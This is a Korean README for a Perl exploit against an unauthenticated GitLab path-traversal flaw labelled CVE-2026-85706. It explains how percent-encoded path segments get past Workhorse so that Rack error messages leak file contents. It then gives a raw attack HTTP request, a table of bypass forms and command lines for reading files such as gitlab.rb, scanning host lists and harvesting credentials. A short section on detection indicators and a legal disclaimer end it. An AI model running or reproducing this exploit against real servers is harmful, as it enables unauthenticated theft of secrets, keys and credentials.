
CVE-2026-85706을 익스플로잇하는 Perl PoC로, 인증 없이 GitLab 경로 순회를 통해 임의 파일 읽기를 가능하게 하며, 대량 스캔과 자격 증명 수집 기능을 제공합니다.
승인된 침투 테스트 및 레드팀 작전 전용입니다.
무단 사용은 범죄 행위에 해당합니다. 법적 고지를 참조하십시오.
CVE-2026-85706은 GitLab Community 및 Enterprise Edition의 CVSS 10.0 경로 순회(path traversal) 취약점으로, 완전히 인증되지 않은 공격자가 단일 HTTP 요청으로 서버 파일 시스템에서 임의 파일을 읽을 수 있게 합니다. 자격 증명, 토큰, 사용자 상호작용이 필요하지 않습니다.
| 브랜치 | 취약 범위 | 수정 버전 |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab의 HTTP 스택은 세 개의 계층으로 구성됩니다:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse는 스마트 리버스 프록시 역할을 합니다: 특정 "업로드" 엔드포인트(저장소 커밋, 파일 작업)의 경우, 멀티파트 요청 본문을 읽고, 파일 데이터를 디스크에 저장한 후, Puma로 전달하기 전에 요청을 재작성합니다. 결정적으로, 프록시하는 모든 요청에 JWT 헤더(Gitlab-Workhorse-Api-Request)를 첨부합니다. 그런 다음 Rails는 핸들러 로직을 실행하기 전에 require_gitlab_workhorse!를 통해 이 JWT를 검증합니다.
계층 1 — Workhorse 라우트 매칭:
Workhorse는 원시 퍼센트 인코딩된 바이트 문자열에 대해 작동하는 컴파일된 정규식을 사용하여 요청 경로를 매칭합니다. 매칭 전에 %XX 시퀀스를 디코딩하지 않습니다.
계층 2 — Puma/Rack 라우팅:
Puma는 Grape가 요청을 라우팅하기 전에 %XX 시퀀스를 디코딩합니다. 따라서 /repository/%63ommits에 대한 요청은 /repository/commits로 디코딩되어 CommitsController로 라우팅됩니다.
계층 3 — 인증 전 파일 읽기:
Rails 핸들러에 도달하면(Workhorse가 요청을 매칭하지 못했기 때문에 Workhorse의 JWT 없이 도달), 핸들러는 쿼리 문자열에서 params[:file][:path]를 읽고 다음을 호출합니다:
File.open(params[:file][:path]) # ← happens BEFORE authentication
정적 경로 세그먼트의 한 문자를 퍼센트 인코딩함으로써, 공격자의 요청은 Workhorse를 탐지되지 않고 통과합니다:
| 세그먼트 | 원본 | 우회 형식 | 인코딩된 문자 |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (모두) | commits | commits/ | 후행 슬래시 |
| (모두) | commits | commits.json | Grape 접미사 |
파일이 열린 후, 콘텐츠는 Rack의 쿼리 문자열 파서를 통해 유출됩니다:
Rack::Utils.parse_nested_query(File.read(path))
파일에 두 개의 유효한 16진수가 뒤따르지 않는 %가 포함된 경우(Ruby 설정 파일, CI YAML, 로그 등에서 흔함), Rack은 다음을 발생시킵니다:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
이 400 응답 본문에는 문제가 되는 바이트까지의 원시 파일 콘텐츠가 포함되어, 인증되지 않은 호출자에게 파일 내용을 노출합니다.
악용 가능한 % 시퀀스가 없는 파일(예: 깨끗한 /etc/passwd)은 읽기 후 401 또는 매개변수 검증 오류를 반환합니다: 이는 파일 존재 오라클 역할을 합니다(읽기는 여전히 인증 전에 발생함).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| 모듈 | 패키지 | 역할 |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP 클라이언트 (필수) |
LWP::Protocol::https | libwww-perl | HTTPS 지원 (필수) |
URI::Escape | liburi-perl | 쿼리 문자열 인코딩 (필수) |
Term::ANSIColor | libterm-ansicolor-perl | 컬러 출력 (선택) |
JSON | libjson-perl | JSON 출력 모드 (선택) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| 빠른 검사 (기본) | 전체 검사 (--full) | |
|---|---|---|
| 요청 수 | ≤9 (1 사전 검사 + ≤4×2) | 27+ |
| 조기 종료 | 예 — 첫 확인된 차이에서 중지 | 아니오 — 22개 형식 모두 탐색 |
| 버전 정보 | 아니오 | 예 |
| 우회 형식 | 4개의 대표 Files API | 22개 모두 (Commits + Files API) |
| 최적 용도 | 빠른 정찰, 대규모 호스트 목록 | 침투 테스트 보고서, --file/--scan 준비 |
빠른 검사 파이프라인:
GET /api/v4/version — 도달 가능성 + GitLab 힌트/etc/hostname + 고유 카나리 프로브canary → 'local file not present' ∧ hostname ≠ canary → 취약함 (즉시 종료)전체 검사 파이프라인 (--full):
--project-id와 검사 모드--project-id 플래그는 --check 및 --check-host-list를 포함한 모든 모드에서 사용할 수 있습니다. 상호작용 이해:
| 우회 그룹 | 형식 | 프로젝트 ID 의존성 |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | 없음 — CVE 설계상 파일 읽기가 프로젝트 검사보다 먼저 발생. 모든 ID(존재하지 않는 ID라도)가 올바른 신호를 생성. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | 필수 — 프로젝트가 존재하고 익명으로 읽을 수 있어야 함. 그렇지 않으면 project-gate 반환. |
실용적 지침:
--check (빠른 검사): Files API 형식만 사용 → 프로젝트 ID 무관.--check --full: 22개 형식 모두 테스트. 공개 프로젝트 ID를 알고 있다면 --project-id <N>을 전달하여 Commits API 형식도 확인.--check-host-list: 단일 --project-id가 모든 호스트의 공개 프로젝트에 매핑되는 경우는 드묾. 생략하십시오.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full
# Quick scan of a host list (≤9 probes per host)
./exploit.pl --check-host-list targets.txt
# Full scan of a host list (version info in summary table)
./exploit.pl --check-host-list targets.txt --full
# Host list, JSON output for pipeline integration
./exploit.pl --check-host-list targets.txt --json --output results.json
# Host list with 2-second inter-host delay and saved report
./exploit.pl --check-host-list targets.txt --delay 2 --output report.txt
# Read a single file
./exploit.pl -u https://gitlab.corp.com -f /etc/passwd
# Read GitLab master config and extract credentials
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb --harvest
# Full discovery scan with credential harvesting, log to file
./exploit.pl -u https://gitlab.corp.com --scan --harvest -o pentest-results.txt
# Custom wordlist, JSON output, 1-second delay between requests
./exploit.pl -u https://gitlab.corp.com -w paths.txt --harvest --delay 1 --json
# Verbose single-file read (shows full request URLs)
./exploit.pl -u https://gitlab.corp.com -f /etc/gitlab/gitlab.rb -v
| 판정 | 의미 |
|---|---|
leak | Rack 파싱 오류를 통해 응답 본문에 파일 콘텐츠가 반사됨 |
leak-fragment | 매개변수 이름 조각을 통한 부분 콘텐츠 반사 |
read-noecho | 우회 경로에서 HTTP 401 — 모호함: 파일 읽기가 인증 전에 발생했거나(취약함, 잘못된 % 시퀀스가 없는 깨끗한 콘텐츠), 읽기 전에 인증이 발생함(패치된 서버). 차이를 통해 확인하려면 --check 사용 |
missing | 우회 경로 작동; 핸들러 도달; 파일이 없거나 읽을 수 없음 |
rewrite | Workhorse가 이 경로 형식을 가로챔 — 우회 실패 |
project-gate | Commits API가 프로젝트를 거부함; Files API 형식 시도 |
noroute | Rails가 이 경로 변형을 라우팅하지 않음 |
| 기능 | Python PoC | 이 Perl PoC |
|---|---|---|
| 우회 경로 변형 | 6 | 15 |
| 대량 파일 스캔 (T1083) | ✗ | ✓ 내장 38개 경로 워드리스트 |
| 자격 증명 수집 (T1552.001) | ✗ | ✓ 22개 자격 증명 패턴 |
| JSON 출력 | ✗ | ✓ --json |
| 파일 출력 / tee | ✗ | ✓ --output |
| 파일 존재 오라클 메시지 | 기본 | 명시적, 색상 코드 |
| 재시도 로직 | ✗ | ✓ 구성 가능한 --retries |
| 요청당 지연 | ✗ | ✓ --delay (부동 소수점 초) |
| 사용자 정의 User-Agent | ✗ | ✓ --user-agent |
| 네임스페이스/프로젝트 ID | ✗ | ✓ / → %2F 자동 인코딩 |
| 상세 모드 | ✗ | ✓ --verbose |
gitlab.rb의 secret_key_base 및 otp_key_base/home/git/.ssh/, /root/.ssh/)다음을 포함하는 /api/v4/projects/*/repository/ 경로에 대한 POST 또는 PUT 요청을 찾으십시오:
%63, %43, %72, %70, %66, %46 등)file.path 쿼리 매개변수commits 또는 files 엔드포인트의 후행 슬래시 또는 .json 형식 접미사이 도구는 오직 다음 용도로만 제공됩니다:
소유하지 않았거나 명시적 서면 승인이 없는 시스템에 대한 무단 사용은 거의 모든 관할권에서 불법이며, 컴퓨터 오용법(CFAA, Computer Misuse Act 등)에 따라 형사 기소될 수 있습니다.
이 도구의 저자와 기여자는 이 소프트웨어로 인한 모든 오용이나 손해에 대해 어떠한 책임도 지지 않습니다.